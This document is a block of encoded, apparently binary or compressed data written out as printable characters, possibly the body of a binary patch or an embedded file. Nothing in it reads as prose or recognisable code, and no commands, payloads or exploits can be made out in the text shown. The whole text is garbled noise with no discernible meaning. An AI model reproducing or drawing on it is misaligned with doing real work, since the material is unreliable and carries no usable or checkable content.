zIj^Hjo0LYMMQK@ia7&50R&KucbGHdgx^yk}xg_43v&D!**P4(cVi@iwv%6 z-4AkBm}eGV(TD4*E)t1z>8MqyI5F5SBz`YYKp4MMkn2oG*o)S1VW z#jU!Y<~E|2w35h(Yy6T?oYc@YDQ}x6iRPNNJ z_7)x!qFJy8~M^*x;xV><=HZ?C6lgA zs3WT0>#f(jxM=?&3%YcJ^y!A;l85CtI#d$pncCBc%XHLMAAGCRcV{|-;G0(Nki-uN z%sm=fXCy9>gP*F)iQ_6+ddt*SSibApv|2q-WtC~}@`pxKy)x^ZZQK*;G(0Ff6Yk!8 z)AxFG`fi=B3)wqcUpRXh-(NIh?>de|xWpxigJBbtYuwxp_ugt4CsuRUxKUpB#T_q$ z=R4o0JMC!4T}wAR;qYc>w$yB%;;xtpt+*-m2lr%iO~c04(z#?lA5pYzUVIiE^T++(+Fp%u@xcE;H~%NI$<@Roj! zJaFoSzyFf6HX%xKQPvm0AZrU4WNj2`1#JIM4_w0S?cb9ChwBCWEA6kgY%GuN&aV(G zC5#(WTlmRy?c3P#jUD@|(0b1Wk@k*L|Bd!nwd0B&YN>L^1*xaZH7+_!?29s;*<O&K(ZKgyzb3nO8@2D{tdoVy+*WCuS(@&P*k;FeZ8xA^8M(`l zg1`P@MT0N>>HP^?95m2vrc>8?+;f*!=xorFS!#587GDs*d8}@krK4zMR9%>a(z43u z>G>~Yb|pUJ?|a2Me%f){M7yO^o-KG`99k9AbNA85YQtlnKFxb1xuVAK!Vz}o z1DzxIO+g~{XVm-Wn~!|9MsJIgTUM!V1>IRqt#!?62&HsdV5m`zv#>zY<#S0!9DO-T7VnD=STWd&8MzO-pM0aql##lC6HR zW1PGc9IoLj-hFYcYy;=26p2N(q2y=Y>VHe!P^GPx#VeN4?g0G5Es$T054E z)lTX0p&D7#gd3r6K1{h{>A(K)p-c1E)$8m=;z~O+^&RiUgioGr5?xZaJVt5Ewu58W zd7YGew&tB}^1&0EZX!?auey5gFb;28-G1@enhVai9;+XEdDz+C?bhr?GpjM z$*K?6pUbjRmfhH2rytWlR@6~1r^?olxB7xg+;h#~5v&}em^P`a=?i-M%GDQt9LKm? zV3DZ;fR=c@tLc-o+#1h)LgxI zHhP1V&(V#`ZmaiwQa$t)cZOFq;_FkTc81m&iB~-(@*8qAsh<|7Y(KQIV)028YIX`c z`e4UswM(|%A9lY_oocr*_T?Q%d5c|7&v-v#I`3Op5xurh1{LRZ+$3 zSjwg4*Pa|X)_i{K`%UDCIXfTB*pz-@>2Bf+t3wU$Q=AhY)E(O6u>P14A)~bNzI$)4 zw*IC|BJD0ZmgS4uuPe(d9PetETHn&rJNhK!*s?_rp2c3=%JQ4Rxbpe#)u~Zu1MNA5 zhVt7KU%I?_w`R+jJ9Lq@2 zvE#G7U-#J6^I5gPzH#1T z^?eUc$Sujpiey!`Oun(>)Y`FEsCBgUd9;!^vt3(uy|rWc95J6P%6_4LSBt=o-~9G^ z_4|iQ>LxomW^tU;&Zji9?&2MHkI>1Hj`8Vo7%Az&o2`MG*^T=UR;Ac(F~-(-!`bkl zY!i(DjaMmh-fGTH%*Fb1&11`hBQz;1@0v-JZMmZ1xV2|h=c^3Qj4z*LW<9?-O(aHk z#w$;E>BeH$v}nU9PIBC>yD`s1V~fwK&_chmXNXQq6_t!0Tb!jC_Ta>H?!C11^S3r? zE+sukKXpqvXw|um&hKrde4hH?#0A^Mv{3&1f@Rzt)|^p!9ZUQ zOcUH!Q91wRFnWsVf9%V<^Qvd`O?W=dam@?0Nn=ip!RuDM71y-BsWR=#fjCWvROKgtfdIj*sY7qtxdef4ie``OK@csLl1vt>uZ4V;IWU?gSM1PdojD@3q;Xo<6Pq z%hoO99&Px`9P6L{j@dtIN&WX$uKqH|`pX;(`vTfu=2&9?%RU|SmpRt|dULGnAnX`n zD^+puDahFWTG9JAc3EAl_2*X-#%yO#AFptMzH^&Kl>Cf8uU*!@wx8^>C@2M`4Y$i0 z2tdLS_K)=$u*)(4bIbv|tbOpY9UMGkc3D!lMd0&j12$SCqX!a9dTE0t_}7_cX_LQb z$Js4Dn_|kBv{s+=xhBy;(f8+6`^lZ2A_=Nld|Y44^Sv8ywPn8;r{_|eo=~2% zxXr>S`_E*W^(*4QG%Iy`{(@5MNv4 zKjM|a(YsZ)GdETS+HBWd?@L%ia(wjF_S`=A-ehi60>5Zq2Diz2svHHiYWQmD6JSYQ z7hfH4fp)%6|QOgJ(1Dv?VQlA0ggY!VBd9s5wZJbs2l!?<-@ zTX4DIKGQDU9kD)T>NztS!rigybF=me?x)ix>XMi0BFIJRCyNhc$5~dNmN4m;nK@c`O+_;?=C4<&JN>(~BJTEnB$a!t>iH3-_^|)TmvOSq`gbP?zziEueKqmpt34 z*ZX32utW&1O8$}X6oda3yQ~NrWzZ<-yL}SanEhpyHE3(~2Ub}>ur`>E@Rv>2f0<1d z9CU)6rzeSw0*mw&NIp`JFwo^_9NLK9L7$@^&`U42l(HF=ZvCf^v!Sn9@s;r)pED zQD;%NQ;VnuVh#AF9WgcX26y2YBvwq-lA zgV>SmbaoNDo~_Dp=A7X?<|uJdE`w{r_2hiQz=Y} z7iB8dj9Nf#piZT^(^k=L(nits=m(gU%)87!rUpxk#bueYz1XukD>#LmCmcLijZ5Rs z;6`x)2sl&*I~P+Iz8B7cFW~wiDM%4=7->XIPz%%wU5GA5Jy1RxiN>Pq&{Q-H%|P?e zi|804k7!TaMm#_~Pkc-iC&`l3Nm?W_DS{M3+DbY>x=k8K4k9lnA0xMuJIOD|rG_nr zFAYB%QYq1t7Wg<$KShyhP4%JfpdO%BP^+me)ECq@)P5?J#-`1tEu^{8meSVKp3=1G zB)TcxneIbhL64{JpdWx%Izexsx6s?^@9A<3XNDIeg|UONpOM2TVH{!HhPL|3kYLI) zM>EGWb(ogS1t=KhnvIsC$Iv?T0(u?oLZ6}U(0){ks6^Bt za*6YZZp39o6G{RljWU5sq`FeQsD9KCY7{k=nn2wMy>ky$0JKp`Jw&ac)=`_NZ9pZR z)R)w^)NfQ#nj~#3Z6ZyFhR|rV88jYk9_>6$gg%*WKsTe$gCTWw+$b51nc?^Uom7KeruN+zK zZ0;fMF>VdF0ciCyx1D>B`EuG- zwwi`y7$F`Q_84kVtSJG|wudQPYA7|Dx*mG@1!@=IXfn-{7Dr2_?WP^0)zehyT0sA6 zU<`ao|3p_{r~#eR74sWF#c7uPO%zT7g^VUw?1R_vP6LkxUl2cr`VnB=j=(GD9%>SaZW3zk24j<9}A%N zjofYAUEKZL9Bv7>f?LOJ;&x!TO~naqoKWDJ;Yc#l3D{Cb7oeVK1=RaB(621eFPRt$ z9Iz5TvdbekkekVuV5GTCRxxB6+8C}hoK7JF4cpSXX>5inQxisQUuFz*6F|&>5!;rv zjCF`r&r#;?<{k!~4eu1dnSS7CBNn8EBxjNzDTTD1w2xFoI!C$-JVk=6Le>J#I*;rP zyfg+zd$aF}o85r$fZ28I+vYeT-F8pV|2P6?)@P&yVkqce%D@W@AtE|`D1*{P~E@7^}PM-Lt41DwoPb{VxFeR-+rxed$5;Fgk*sODEFX=q&m?YSM4Ck+ETH z8GEJ<yB3ldw}Eku>-N1VeE8v z7P}5LYd2fOzGs_p9$Y9lolD}*ad)^HygTp559g=xtN8-{I{ySL!WL*`5{3$sg%q&7 zG+~F3@dxJT2-k%op;&l`Q&B3E3FSgVF-(jQrvdfj#O2~9@g+EgLFy^>mxf9qz^0SZ z1<6@%DSs;qatE-81UXqwm3Lql+!Rvjr;Jp_DyxoSRU#s@mp9pP(c1ioj-dIne$iVIYk_4O`NlbR*q?8JNF8Dx?Q+;|DT^Tnc>11!H&& zwopknpq#;?86bTkRZdl>{ppqTDf%+l*;Cp9`_Y>5MwQHFPBSgA>Ji}3yV*Bj1|;_b z&hBpR13JEX@(Z!LX+Zyr{I@{)0AZ9cNtiDrVSO`%UxW(5PHZ5$ima%L-Nk|87;%y~ zS4aH2;tR1h_%tJ#q;6QxaA~TvP+BGJkd8?ul9NoyUUE-4T%IYflrPA)Q861TeoBB6 ztb{5NO1V;3?W7)1@2F2yOU+Y@*RJCIAn;by(|zPGK%!Hqsh7zcgp?Kmfvw- zs!_G5x>O^oDR>&@Oi&_LzcbYxwRQmY9W|U9O^pX@`GJ~A&7&4k%cxc0(3`03)NZht zY}B~Z)CKAab&I+OY=1%hM!lmxgXPtrzoF~Xjlr>7)8Eo8Ez=$7u5=IFITP~$3W#Ax zv5VMb_Gk7WdxSl~o@Fnx*Vt0lg0tc5I2Y)IrQAC16nBFw=c@3nd5ND7Hq>0`DGV1v zgfL;TunhZoQ?QpB0Q=iQ0r@}y`J-Y6OJk%7Qk3+gG#5-eK}wP~O53HM!G7|jbEpfq zr6*DaszZI*MfQ~Y$o}#WIT(l)E=S5Uf8}bABt^7fD z07q)2v{PtBghuJ2^uYcPhMpR&gey@>G*s0xB~e+cq$!uc)~n%85#W~H!KA)d7pdFS zV`{#7MV+S2(H3cWxJ|dThuS;MQde7@OubEmOw*vZR+x5}%r86ez`cqh5{V7O6|hPU zwIm}N-B-o31quM-K5@7mb5k9isosB_NM*lq4Y$04r;?z zI+H#MgnLLkGp!g8uo53;1FG+CD4xSWwMWb|s5NJn1&&Q%u^PYS^ek32s$MUPdwT=SA8i7kq5;lN|e-zwBQWQiJ7*!8&^1mNcnUKR|pr+P>=3yEp?`fZ2=sE0j70TD+YA!ma(9%t90UfA<8 z@4<)gVf<_`+bnRQ68;r*XH~&gXd$=@{h&OziMz$dr~qTYO>awME8BZYeX<+blCJuLZ82gH~;~L><+krWB=OXcwF@gs?ibSCZTr3p#?51Rr56K_p zmWn6th`*Aq{H6$Ms=7)m(FBu$u+a5_JJfp=7~(4oN|;IArGBN{;h9XQ7t*WXCG4Y* z(*^V$Ait4uVB8sr>BbBKm!8PX1dqAQ*q{RRhB}EcJjU-X_(Q+sQOgE=k@6RC|RJZ&D^JyOjd?K@HV*>M(Vp znxS4+janV8l@_dpY18qPkF-)Svnr;#rgkRIGyr<|5R}F-XpJ*a8<+4jk4*+&3quy3 z#S?mX4Rpg<;ttUf$}S2%%p1~x%H9k0Bnow+4xE=H;89biE#rxO9S=qogj#Tkb>won zPh35IG!)!%zM3#Z2p5(LYw%pRgik_EXfU9QrlDrC+;}hu#49=iVQunFXl#!-s zFP&4aq%-K#^b`6mT^Cpzh$sA!S;d@SJ~JL{SGE@$3`E@o&(DT$#A{$I$#9gO@MXBy zeT5N1w(zUa9_UmcT0qP9lSWA^p*=rH?qJosp#ooH*9M~E6oR=8#M2e44K!EnTTO*V z57wfzI4uJV_xMI$CH4f*ijs1rt5DSCK=_Z6 zK{m=ZvaM_{EATIak@9%>jW>O=J%@T`{>h^Jnz-G|53 z7Hn%R^jV(C5N%;_LJh4+I1+8~uI3?dB-Z0x9w$nP_e2e_Q4i>bvDnK6;7aLWND7$G z5NaHiLh;ZAaqu&Lfus4F{!9;sjtYm8N�n$6jV{uysB2*jT({UAk4>v1|xqEeROb_d8K z6v>&|u2K|W^na)giW+?LtnADJU!d9Ax4wc&w3m#iVYd`RnT7tIm1H7=xJ*1Ds*}!S2XNjfG7jAKIN0nvvJudwH#Gtr zH3_WrB6z4ZJyaYajuj_>drZe&nlCPaW=evuvska|miqgoT0%#*hY!LL68z+jxDWlw zLGX}=!IK(8jw8Q^e>Vmv;(KZ`H5F=d7Bv^%{$hG5y@FniyRd=Y4DIL!4s{Hw{tR=T zxderHlkotaU*`cUIpEygtDqo$q<7?xLEXQmhO5g-Z(4bSg2;NX9 z-eOO&kJul2dI*@)Nb#EZJ@$AioXlC^vkRof*x}9cHaT7114rYKd>FV#L&=>~&cMmI z1TW(zydf+qVX41+?5apB>ook{!_r`$P5qG=NS|O6;bobJelhByAe_-c{{3YVJ!^q|ZRP`oOsr=K7Oispk~q z;9PAZc7sb@170^G_rROJ4o|vN_hIWoW6IP|R5G=NN~iYI^%ygr@yv0!G54AA>~ip| zSMb?-D}mrn3&H5Kl;c>{GNp}5suR>GsN(JFVKon4yPL)WZ^NOCGqvBe_nNn9h-nF` z`w5dF$5KDD45~HXg>!zA^rlu&+fXs8(2eN!^Z>du(~AjU79k@_2EQst zjqqW|vy<5v@bI;4ic}yK$Wv58GZa|r@A+Fm*pX-XmO>TztvVizD#&ybdg04{_a*X) z&LkGiV5Q&hL}1w+`0fLs1lG`-Xh)_gkZe5o{!4~t6?QwS?n&-E_kb_u>xhj-8ayEk z&iPjO#ZSSxTfs{Rf)}+0r|!1=80n0U>Z|%e(FCZ0YOorjh9WMan4WfW#Hzf@W+U4-*`UtI-9DE|vL546(HV+-@Z=Wr{7BYqiA716drA7PNN zTu2s9$cAVuoxi&S!6rb*PNAlQYtEtOL(BezwYf(iIePB7Ft8cN^UQ5t!)<+7SQc`#Q@lkhgV_z2Ok_k@171 zSm6V|2E!%pHoUZ|xbfY=X=b9%Z-I+e2`{>yup7wkrF%CQ!I&M8|4c!(i-n_XP^y8s z_fS?Td*Ct}GOP@H@wHYE$w2BfVj%LZnQ&N_>+1ezobD^o^p&I~oD-Sq2aK9eje(om zfbR&eX$Id5Dq%2m!YJtGPlA=}hc7p>Viyh#5_k-^}QJey8_EJnlDwQi;lODj| zwv_8)&%+cabu7G~ed=4)7I{*tmZoKBS*W#*OoT}`bu#rd`GNJ00N?%5w7|5+blaRL zD(o_{LhdRIa3|L4hLh8V&K+g z!J)fPJ%g5QME9Ym0c(@!^+4L)^Z{gb$FUO^un!;Uc2IUFnELEkHiJFQo`-`_#6>}A z&IRv1Ew+LtS_Y&`gCl%IIwcKN4xyR^Bg;tBo@>2K@n%dbu+nkNmNwC|=~qk`Hxaxg z9u8T()3O+M z?GSDD2pgj&8p^End+V%h1CG>GU7*37;CIf`ih#^UgAX`LCUG4zjuOaisANN^_TX7& zUvjC=KyK1D;Qg&}5Bf99ff2b-0B@L@Y#pd|bETaF1+<;bMWw06IdkoyLW8-nTpW1G z8Lo(X3Ji9D3N<0W9E8Lql8=W!md&5yTM6w1PgI=%JY|Y-1a4y$(N?T4wh-NsFq_qT z6twy;;v?~s=q)uxmOKJk$4$8zG*LKwjucdhi^?_Bn+M2i2Ll^p)FW^>3e^&|nq~+6 z&`@*HOz^_IHD9g27Nm{T#v;>=hX1i#Tdl3rc4>RHgW75BymlF0S&8-nIfkXl8i?*> zY6@3`!};oN@PMuP^K}P)BXm@zDH|E)C2)9i&hg4*us7=O*|Q+35;cfM zgbUFENu~q@?u9IKpneJ`Lg~gLGhTz6w1qf;GkFxO{wi?``DPh>HVhvnYr$c2C0mms z@~KXLWE){%0+C3l;^3>TCpVMZ;i%=1CvbMFQgtX7%AN9{`Xk#*gD>_JDDn;62B%>p zPQoU77g*#)V1*@P4QILaA4%tEW)?FKih3)U!zm`8d5RtNX2-EfU=BFPYz0`;H(Wg^ zZ4Nry7tX>UZW0%Rs+z#9;ts&4FXtTj7JM5$51kARVa~ob@i}0a@A+DoXxtgMJ`ieR zw(fmyLdtYicRvN(k8SWINRWb_p5Qio_OP_G|o zje!v(kzQn*?~aR6zYk5}7)SDc_$l9sGo=Ia6`i*j^_sDb%BRbj7RpfUxxvGzbG7O~ zw=ily)rV%_#iuY^m~*INeQ^iE*dM?*EjS0R0hhxC;oQy;7l7$)0m7aWZ$RmP1nYE? z+~DkXhMEeKra)1xk+P8#UC_NHTckzK$ckk7iTnZ#$Wp1He1oLT4Oy`Yr_Tp$!0ev? zfM;H$Y=VD&R5=9?>bdd?9L5e$PN^Dd;xMGhbCGTAh7)`lN%A9P$2gd+$HWEPD3GYL{j!Gl9?ZcwL+v=A&!KLoeSj{ij1;Yu~a8% zTaecp4d$h;0Tnov$R)ay{!n^h;3PNLWk@Pk^Ohn578;H-(gi8PcBrpW$}{DhdGErF zdObCO(KsNx{SNnG3t1D{wjcb+UzxYeVJM^_(0>Ln-CleGT-(!pCiKk!IPJ}$_M&md z%A}Rxu%ncz3a@&r6>4?u08;iy(_CmaqahgIh9|s<3NZasX}b4ey8q#q4|t&`x<`vFMLyE`g4WLf?xG{JcaZLm{CSZ{qFsKbzj0 z4Dnx{-$?LKfT3guxY-$Svu^{(C(#K=g8DM6SzqK~PlQP2J5|<(X^Ft7p{Q(zlrMW_ zMKmGu;lv8mLS`+~6VGWaG=m?vPKZX&$1$-965MvUUw+bXoVKY*B@-ljxR>FwIbl47 zv++o62{t=Jo2B!mrMM?4+Rr!_7qlzL`8c>pi%b_#`@gJ5PxKsZKzG4(WFE(%EZSk8 zc0gHo{p^ustrxpL4FID;0wogMXy6Fu$e-hslf;F z2DV~7a*R4xv>?pgO^uKUhr$^+L>xns`JCuQj)2nI2*f)BCHM}$fDL5_mXU}YU^9H@ zI&kaOLKCK;F2{hyzQ7r4BAOuK7y|DilX3>j9tSM8$4k-cgIC{S4-4_|oNtMx zVz{&oeMfDOj$HQCf1EjG{xxJ#9t$ad~ny49Es_48njSgjw}bNI}i znSRV-rjTKvW&PO%D5N8-CAjlEAwkGR7WIxyGSVzvqA z%JH}{^N}H};?~2*K85}>l2`fO$PY&2?i8T9TMA8p@-p`OJ0zC{qP5=t&`FAy8o>Wq zjA}husj9YAIqZ60HAzi|?~|>a0J4}*^{^Ef#zYJ{DD_85)GQ4*z59jPv;eLa!J^+&(K5OleXr2f_~T7a(5 zrO^DVskPJwVCDf9U#qx^AppOOBfdum*;M%cvv67$AUj`*PO{a+TA=-A>_R#+q5Z(( z!$9Mc&`;-qYgdVz@HOrupLvFahN6OK3ouCw)|vHUhp~&HH@-ZJ8|@CCT>uaDqJ3yz zq=Ei)F#MWOI-EB6R@E`*ORt!_M4(m)k|KGS??il6b335nPdC<4HhV(?{8$epre3(q zzOo;3(*QXT$!UljimLW!f))e)YDlT7_Y&s8izpxpflg)U1Tdfrz@Bu3ckYHR00EWP zi}Xd`P$1N-IU|UMJ7VtFOhF=)fxf~V^b{7rw<(6pZte{*P&VkHa|G9R!wX&nR01!` z7d@SUR0tK0R3REjACIb(0uG)5%+En~Qb1j&im4K+4Bd7H+6KLcjS53GtW zRwNKB60Y}w#?tZV1W7?9%K*mZ(0RbQ>*xt7q08t>V7(2xLL7m6ZVZ8bMGy4x_%iV{(y-EXN1S7E}?9s30NH{^y#Ui(gM^{TC`dU)Z*^-9dmJE3> zdS$bac;?D^a=u&uoWaIohnI0(^n3>=&|>~I41I2pT~ihbTe`@?w)WP+JQ zCKWx)S#U55(UDflR6@Jkvrd0F+CHcQ!ECsmxh0^|?*OvpqNlltEkV^cz}HfJw%8QqJ=o5e5uF_3}saf1@H|bpgCjE1CRheGnLw* zdndW*aVkU)`a`M|T{It&O4-8Ga-v;zJWzlKKEQ$iU_mHWXBt)}4y%%k71;s5A&btX z^XWpm2)zQObU9oWBUEc0Xb)GUunb%XPxKD>Vcmk6P$q(z#>7Cyn!U?ZW(T?)v*1tU zV-<^-hgipQ<|9_p7G8xD>xy0}2A-ptFZrc}Qd)X|kY(86v zwS9bYK^Im4AB==10vSyV);|HxTq-*5_abA@#V!=`Mc9W@ zaF~zKRJPa)C&3lF!3YZW!v{Po03C^;*pq2Uv*J+SlCdv4z<07x+wz4%RJMoc+A2p! zgb`J(j_8D%<_=w@h@R-;^+U=NjB560Hy1h#^!@ygAy5disVH>$#WL|Y$tn1xK?ak_ z6;^==!T<46F^#v?J?+Q%$e}k{T~`0Q!Tehu~~SvC&ABR0toA-iT;)l*HpEq~I=O@R_&`d3u*z zF?t@#;F%iGziTfz;#Ron9lRdsI`I|!;cxLUWg}rfI4aJz~2k+*W7P!?zFE&g>*!1bf*;5Mo+yuhM+D^13JW`E@tTckAp+ zlr5^E3oyYA)zAxdFhJ)8X0(h3LYlEL3pFrTuYx70e;?^TyCPjs{k(tyUyw5t_dfxr zE)BOoL%;upxcMbGZy#~u%y-`vw_dJD91UeuUbbI(C-v~jr z5rM?V{K|O|Xddu7z2J5JxzEwi_VMrz z%sZV4evpSgB{MfD#x9$A0HN1Xf4zD}pjM`$N}6k;xej9A32U8C8&Cz!HPDG5(0}9) zhL8Y`Zgz|-2}dv~f3T-SFsAD`1CC%u{@C?IFre#TJ&s^H{@Bw*Fq-SwMMvzNKae{b zD3OCoX8cY%_&&#V%%C6+|)qa&J^6pV%$O(D5yZ(wiMj3 zV%#bh+@wI}LR1-6b1?xCwK5@~gDP}B7_yf)G_b`{k zoJqNW(HXFB9$-F!=r@b~gX5TajhWLJ!mH{21EHUJ1uN_M$I17@8V3VuLxHssK-+0p z@f^KJ%)GwAs6wfzJSFG{c1L{)MqNojJ;?)h;oE-w=l}5vq_n~h@MRvyvcG!YWvdv> zg-bVGmGjHS1|NnI!$JcorU*~aroyYNY9!I~vqyzDd`E|uM4%G()O$@=%q=@n3 zNc(^IO@S0an7@pbL+ii1^|;UY@ewYaFmGn`$kD@tB1X7$m=qB*-aPWv#r!6I^NWAK z&g1wxkK^k+jyje`Tj%PAzJ^JLVTMll{B#ZTOp01Yqm`w_T%wlwHx3pSpZ~3Q2Y#K$ z@$I*Nch=R{c^qHoas1z!$1w-DiUCoDn z6&;({T$^}u=yXG6W=`yr_<3rz?AF~bcDJiraVc?k^F&Ks~Q zd9d?OS0nB2cG~HGV@Z?2K^yb061B$Me}3_J+L@FJ+f8SeZ6DpL)L1;BjOyBPs`R?Z z&pI;GPFg!IiL$fp{(A=dw4_Vb*M|;YC(4#KtZI5uFfq(|ZM}BRl@se!Ilu7viI^EK zcAuSR|C~8<|JaSh%W4-N&l!Blx6SZvY24BBPwb>a1DDnDh~DtFhMKdim-Xrfdm4;e zm`U{Ma&g+>X_fsP!j^=T->EQs@L#{Xix1{;)WGZw>%X4IQLh5SH-7sof1=(){HNl- zGmoR+-_GOkG|sZ{zzaK-e}5jw%ue4nzUikrOfb1+=Y6+r`Na-%j|^GH{QTqoq0IB- z$~~CJF_v9(skWoTU*>Vp828YgVd#Gu$WfR&^CB_x{C~+nj@CpgGc~Q@;PMx0+ADm- z_dyY($B&!n;yVcpb-YWT(Zk38{b3w<{|eErGc6MB1OlI2Z$UKw!gihh@+JL7hmC00 zHzFu3+@|gMVVc+JdM7V8EZq5SNbWt~jq24l9oF6FJ=%UZ zB_*`$l|1*_?;EFYhz_EcJB7Y?*?+j-X6uPzorF*O(l-b7iz}Nn=5)n}8XrRJ7rZw4 z`mQb+9=C7v$UZ-MraPWUd~tgJ_wR2_9(Qf|jp1ACcO6_DZ*VqlYrbvP({)`RFWtPj z@2^YeUVd6y)$37%wsi^}_dQ+o z>_X9HPq*b+i`#Tu_pSAn54*hY4b60Z@!|f0w>6WmUrK-IbLr=SXSnSniZ>qUtE_A{ z_Od6PS!>x9k0*mJ-Q3u{tloO>S8nYGY6ELHJg&97eV58!SE?IU&vJNOCCQpeFLU-= z_jz1;%)v8THeECe`^rO1bJ5X;4#}qy-j@oUi4WrcLe!< z+^*D4rRPG@T1+ zo-`dW#;e8(McwcdQk6cAMqGH`BgRCcb<8DBDnT%;0X(qn>Vlv@%F*z96^y zH*!f!V*HaPGp)Rh^rni_ZOWVJ4j z;*2L_cTe>h+nKnLbH=r4+<;Z5+$Yo|hlI>%{zJ*jy3>P?EgO6J=7m*v?wwM^BDUAd z{r3YS25!oBvS8=N9xZ8k_fTZmfXcFyqrB%08J)2F2_FzwdjI!ZGoM*D8*wI@7X(@>%R=B$n4m)qrt=&8>)G@u zUsBDpZgk9~$_5sX*4Ah|(X zI%R(HPYI5{#Ig_luO3)@Z=JhkWK);dob&5n?p2mZJ=gE;=4nRexE z|FcU)b#XSX6+~@u|V*MW+Zfl<6j+f4c~ z9PQCZ^<@UfZ5#85jcVo@92PD9GJ>P_g)jfVW&7Cw+z}j&atpc+Yo9*;@&<9i(1H`| zwTzw}PJC$P_nl$x-DYluOD60|ozT{;(>0ILmCUg7Zuc_7&L6ND9T@VV%eqaTrjR|-Ej$ckRlU{Gr9^4nEwOgyu#d#&He zErV~Re^XXji~nDb;E4Eiwz1)?^|6WJb6#}_c-MJNqpLAfmkzyJqpy9Zl>s9*|1*u? z_}hiU2#y&aZgjOKTTS+JzOiX``MV2^TSOeY-@jM(z7CugQ#eTfZB0k;+dJPNW!KuDX;Lme)iXGr$oav)67EoTLU%f7i!0Y0=D3E5}ER zjwQ$ERUbTc*6kY?nhmNu@5z$MEk_T}9o+7G?coz#4!_=XLwFVp=!uJoW zAO?-t*lyaJO*XB$L8Zou&nGtQ_8U87#ZBwoc0W8)^S5-F-1jh3y zHu~o0QND`lx1=_!>Yc5)^0J_lciRs)#x<+HY|HWmww_6K_uM?Ux=QBxB@099wM>|L zBbA)xnqKBorFV3egX5zgtQKC)nQvv$;pk?c?aOBRI9T;ATUVOpL&rKsm}<8haCF>j zyQ&T2l5e&Z-R@lts?H2uTd(VszF7fl##nW>u^M}`Vs60&$u?w6$?3uC#wPa(emVbO zt@Yh@SKYcHi79B8NR!y%_TZCQ23N*M` z%W~b8R_#NdM=KG0O8d}0v=Rs^8VDtcf`U*;3$|#jy)kKx8Zl_f{k-32?%iwvYwhRx ze7}EuKFMq6&OI}8X6DS9nKNh3%$;`YDlJpfG&g>hrD?Tz@~>FjFK}F%)_?Hx{k2Vf z_FPcwn!4wL>H6IZ^X4!3);AX1eqY`lw}11S--_gY{jR(P(QoG6{mr~dH&u7{Ue^Qy;S?G2hV#BZCkfno-eN3A-fC+?mKkm<{7Y3X z=vus7A~G%$$TRgIPzFYI3+}r2 zTZqWIlLp!tJU8K)_E)TF6VqP*pZ8y&K!sMJZLK;!MKj;NLDTek-w0@H<@NdXns!V5 z?iohg^0t9!^XiVjPSNszlL&N$jisLarnu#+szipy3~zFx6|ajfihb&e&I{>&L=Gn7 zZ6_=%X#V{LO^faHHpET5<{%^~zWifBE4T6ffEKTdoM%YfSZA*Xvf)It$JMkW@}jJl z5MA5;Zog247PfMCBeu~v$JjpCnAVlQ$Na-uIe^7qU&e`5#imOqr= znC3P1g^~+0e1nU%aw8+QBcmMU{dmMdBkI}r>4*=K6J6!L!Bxmj(|lV7B(KXTPfYKB zqCEaaw0+L(dWFb#g&xDf+uigq0$yX9Cy{*T@0L|&%+5(XWx{tU>ENsS0dU4lSLCvo zd2#e=y#v5fD_2_>&L z_A^p<#7jpQG{1#@8QbY@nS$sQ%*TyEh%--vzJ8WKD6QzPdo!TLtD$*LixcDcua zE!yBq#GBzJ;~jAI;QoLXOe6_!h#!H==4pr@g>Ow>v1X3$kBU4+qN@a8vtXH(+XZqO zMI^A!fvrN*$6{C$I+a<6jIk!dgVw>MWEHH)(637iMu1hrN|`^I>S9Ib&Oyu6f@E6$ zp4-fdYKQJAo&Z0TI^-<-GW48?3=}={Eo78f+GR9@l;e$$j2$CB%>2YRxRMqA9C{jo zt`Yl+Ge1RlG;-oLJ$LSM7ivcR+&Q??K^q+HEe%;*J^>c0$a=<6AJu(z}4D3OVP%=&y zZxEL)64Z4xaQ?9d>4Y9c7MdiacUrm4s;y?IK8m58RK$aQHyF})k~yT)s0IVE&Uc7) z1YzbMCQD7Wf^ukc-=q(m*lbe}%-EH`XO7wbCyIhSN^kR%A8gXiQ0=O)few~kO4<-; zCkG{>ovG4}O9tA(Q60inAw6<1jipe+0bnC{w4cyzT%f}@sa+UOO0;WE8cS7tY~^mk z^n&@S7LWXxW8J_~;jyBRCIWTV!HT}(YlLqmd`2fcx6;!L&nTlk8Q5KcZZUO}Jz+0K zflwX|Rq+jo>v*ehAv)$Rpfv(Ox;qirYc%}$lN0*9Pc7^2x;2=68UiL0H3Z(_Ljn?k zb|cXE<4-Rt_rf<6 za{^M3Z)Wc_ia3^Y#Hi?xp&h9bfkrF06QQU~u)?K}16QaJ4k29#D2z5PEutLY%=b(c z#SkRfeR1L?ugeJ4jTrMc&|1+tq$Snu*#aXY=8LcW$0KA1su=-4 zxB`NxdrabpQuhDkk<-ADzXlA z=ur`)0rTSQdQOI8cT)PX@{gG}Vu6A=QGXP}gE;^%=DG7Sw3W@im+FK18UnjSr1DmN z_FyEd^0Ql_y%mK&sr>Alk-n9m-5AM=op42866_oj6moqX)8+x8zLCDO=$nFh$Mi~$ z{tB1bjA7B9uSSATyT^~R5adz}wx3y6NM9mSP|X3nKnjA3dTHjBD3x&@M=MA@v87(k z7k?sC(?aIo!N-&)0$#9Gd^uoYqlg1|{;@>dL~;zeM) zkV{fRy2pElrp9|>`JD0oZxig6mC=<$YmLO-A3qlPdK&Tfq1GwlKaLmkCv$od|2q=n zi-|9k0MEB1Pz_Z>tT<3Y5-X_N6NXfW5WC*Zh=2^z>K!eESjbwYs&3a=rVmvM5lS$F z42*4Kpc@j&Hd4@aYHfY-nJCXmGYIF8s$#%(6RlHGY~|Lm_jICPZA4oqA2`EY@u6kq z*ERIs>uIb^Ozzt-xqpFclUAOX>`C;B?Q-k85iew3_z{HUb|x89Qp*K&IYTo-W*-Ll zAwx0XVFbi>Wyap^YAEsahDxHL#CwUWKOX*LF7OoCQ45wQN^)Ym&I*~YG3Tc8gtw&J zn(RrsOOo@mYAcE2-7b9{Py$Jl_B4@<)&z+QS|cKHbt6gqBP5#?5~~N2j8lPE?V60BFDoJmt2Wavr2w388=rw6zbuhN;jF7nY7{MjFB$M-oq<#p7S~0;2f?lRZflfz^(`4%tOM6W{ufmb{0C! zGEi@}Veh11?)<~8SucoiB4~`h@x#&H6i!}hy->~RXNmqHC7$$ElluF3Br?J`+spDx zr3=dBwh-9REbm~p37Q+`X25;_4idv_%j&Vt3||$r7L4^0VnN0g?E$DZ2+l}2V_2}@)IJFVZglVq)9(b}n zWX>E<%D9bA6+0X%3z`vx>1`lW*t`UDx$Z&pgpGFdJig@dB_WG3(@Q|H0*GSbGc=(- zPXV|BGvAXo9d2}*K@9w1rBkt&ST$_2kiHnvv5>zIgs3T&!UWCzXmh+ji}#@U+-%Zg 